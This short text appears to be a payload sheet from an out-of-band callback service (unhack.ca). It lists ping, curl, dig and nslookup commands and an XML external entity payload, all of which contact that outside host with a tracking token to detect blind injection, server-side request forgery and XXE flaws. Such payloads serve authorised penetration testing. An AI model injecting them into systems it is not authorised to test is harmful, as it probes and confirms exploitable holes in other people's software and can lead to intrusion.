$ ping -c1 -p 00b9dfa3f78ba398b6dbfc7fabbf7500 unhack.ca
 

$ curl http://unhack.ca/p/b9dfa3f78ba398b6dbfc7fabbf75
 

$ dig b9dfa3f78ba398b6dbfc7fabbf75 @unhack.ca
 

$ dig b9dfa3f78ba398b6dbfc7fabbf75.ns.unhack.ca
 

C:\> nslookup b9dfa3f78ba398b6dbfc7fabbf75 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/b9dfa3f78ba398b6dbfc7fabbf75">]>
    <foo>&xxe;</foo>